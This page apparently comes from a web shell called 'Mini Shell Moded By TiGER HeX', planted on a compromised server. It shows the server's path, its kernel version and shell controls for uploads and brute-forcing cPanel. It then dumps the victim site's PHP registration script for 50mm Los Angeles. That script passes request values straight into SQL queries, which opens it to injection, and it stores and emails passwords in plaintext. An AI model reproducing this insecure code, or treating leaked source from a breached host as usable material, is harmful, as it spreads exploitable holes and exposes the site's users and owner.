Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
var
/
www
/
50mmla
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
//var/www/50mmla/register2.php
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop.php'); if(isset($_REQUEST['refurl'])){ $refurl = $_REQUEST['refurl']; }else{ $refurl = "/"; } if(isset($_REQUEST['register'])){ $email = $_REQUEST['email']; $url = $_REQUEST['website']; $uname = $_REQUEST['username']; $password = $_REQUEST['password']; $profile = get_html_text($_REQUEST['profile']); $ip = get_client_ip(); $cur_file = $_FILES['file']['name']; $cur_temp = $_FILES['file']['tmp_name']; $cur_mime = $_FILES['file']['type']; $cur_size = $_FILES['file']['size']; $cur_error = $_FILES['file']['error']; $unique = true; //first check for unique name $sql = "SELECT user_id FROM 50mm_users WHERE username ='$uname'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } if($db->sql_numrows($result) > 0){ $unique = false; } $sql = "SELECT user_id FROM 50mm_users WHERE email ='$email'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } if($db->sql_numrows($result) > 0){ $unique = false; } if($unique){ //username is unique so add this user //store profile image on the server $unique_name = ""; $valid = validate_content($cur_error,$cur_mime,$cur_size,$cur_file,PROFILE_MAX_KB); if($valid['result']){ $type = explode("/",$cur_mime); $cur_type = trim($type[0]); $unique_name = get_unique_filename($cur_file); $image_info = getimagesize($cur_temp); //check to see if image needs resizing if(($image_info[0] > PROFILE_IMG_WIDTH) || ($image_info[1] > PROFILE_IMG_HEIGHT)){ //create image res $gd = new gd_img($cur_mime,$cur_temp); if(!$gd->img_id){ die($gd->gd_error);} //scale image $id = $gd->gd_scale_img(PROFILE_IMG_WIDTH,PROFILE_IMG_WIDTH,IMG_QUALITY); if(!$id){ die($gd->gd_error);} //create image $res = $gd->gd_create_img($id,ROOT_DIR.PROFILE_IMG_DIR.$unique_name); if(!$res){ die($gd->gd_error);} }else{ if (!copy($cur_temp, ROOT_DIR.PROFILE_IMG_DIR.$unique_name)) { die("Failed Image Upload"); } } } $sql = "INSERT INTO 50mm_users (user_type,email,username,password,image,profile,url,ip,verified,entry_time) VALUES ('WEB','$email','$uname','$password','$unique_name','$profile','$url','$ip',0,NOW())"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $sql = "SELECT LAST_INSERT_ID() AS user_id"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $uid = $row['user_id']; //send email $query = "user_id=$uid&username=$uname&refurl=$refurl"; $link = ROOT_URL."/login.php?id=".base64_encode($query); $link = "<a href=\"$link\">$link</a>"; $body = "Please click the link below to complete registraion for ".SITE_TITLE."<br>Depending on your email program, you may need to COPY and paste the ENTIRE link into a new browser window.<br>"; $body.= "Username: ".$uname."<br>"; $body.= "Password: ".$password."<br>"; $body.= $link; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "To: ".$email." <".$email.">\n"; $headers .= "From: ".SITE_TITLE." <".ADMIN_EMAIL.">\r\n"; $mresult = mail($email,SITE_TITLE,$body,$headers); if(!$mresult){ die("Unable to send email notification!"); } header("Location: regSuccess.php"); exit(); }else{ session_destroy(); session_write_close(); $url = append_query($_SERVER['PHP_SELF'],"errorCode",1); $url = append_query($url,"refurl",$refurl); header("Location: $url"); exit(); } } $pg_name = basename($_SERVER['PHP_SELF']); include_once('includes/header.php'); $err = ""; if(isset($_REQUEST['errorCode'])){ $errorCode = $_REQUEST['errorCode']; if($errorCode == 1){ $err ="<div class=\"error\">That username or email is already in our records. Please try another one.</div>"; } } ?> <table width="550" cellspacing="0" cellpadding="4" border="0"> <tr> <td colspan="2"><b>REGISTRATION</b><br> <br> In order to register as a user on 50mm Los Angeles, you must subscribe using PayPal. Click the button below and follow the directions. You do NOT need a PayPal account for payment. Just a valid credit card or check. The cost of a subscription to 50mm Los Angeles is $5 billed once every 3 months. (You may cancel at anytime.)<br> <br> Please note, your account will take some time to process. Please be patient. Choose your desired username and email address to register your account to. Once payment is received please allow up to 24hours for your confirmation email to be sent to the email address you have specified in the form below. THANKS for your support.<br> <br> <form action="https://www.paypal.com/cgi-bin/webscr" method="post"> <div align="left"> <table> <tr> <td align="right" valign="top"><input type="hidden" name="on0" value="Desired Username:"><b><font size="3">Desired Username:</font></b><br> <br> </td> <td valign="top"><input type="text" name="os0" maxlength="200"> <table width="200" border="0" cellspacing="2" cellpadding="0"> <tr> <td>Your username must be unique. If your desired username is taken we will create a new one that is similar to the one you requested.</td> </tr> </table> </td> </tr> <tr> <td align="right" valign="top"><input type="hidden" name="on1" value="Email Address:"><b><font size="3">Email Address:</font></b><br> </td> <td valign="top"><input type="text" name="os1" maxlength="200"> <table width="200" border="0" cellspacing="2" cellpadding="0"> <tr> <td>MAKE SURE YOUR EMAIL ADDRESS IS ACCURATE! A confirmation email will be sent to this address. If you do not receive a confirmation email check your SPAM folder.</td> </tr> </table> </td> </tr> </table> <input type="image" src="https://www.paypal.com/en_US/i/btn/x-click-but24.gif" border="0" name="submit" alt="Make payments with PayPal - it's fast, free and secure!"> <input type="hidden" name="cmd" value="_xclick-subscriptions"> <input type="hidden" name="business" value="paypal@50mmlosangeles.com"> <input type="hidden" name="item_name" value="50mm Los Angeles Registration Subscription"> <input type="hidden" name="item_number" value="9999"> <input type="hidden" name="page_style" value="Primary"> <input type="hidden" name="no_shipping" value="1"> <input type="hidden" name="return" value="http://www.50mmlosangeles.com/"> <input type="hidden" name="cancel_return" value="http://www.50mmlosangeles.com/"> <input type="hidden" name="no_note" value="1"> <input type="hidden" name="currency_code" value="USD"> <input type="hidden" name="lc" value="US"> <input type="hidden" name="bn" value="PP-SubscriptionsBF"> <input type="hidden" name="a3" value="5.00"> <input type="hidden" name="p3" value="3"> <input type="hidden" name="t3" value="M"> <input type="hidden" name="src" value="1"> <input type="hidden" name="sra" value="1"></div> </form> <p><b>NO REFUNDS.<br> </b>Important! Abuse of the forums will result in your forfeiture of any payments made via the PayPal subscription service. Abuse constitutes but is not limited to: Revealing any personal information (such as a person's real name, race, and gender) posting or linking to obscene or pornographic images, "flaming" or instigating, racist remarks, and generally being an asshole.</p><p><BR><BR>You may cancel your subscription at any time by clicking the "Unsubscribe" button:<br><br> <A HREF="https://www.paypal.com/cgi-bin/webscr?cmd=_subscr-find&alias=paypal%4050mmlosangeles%2ecom"> <IMG SRC="https://www.paypal.com/en_US/i/btn/cancel_subscribe_gen_2.gif" BORDER="0"> </A></p></td> </tr> </table> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>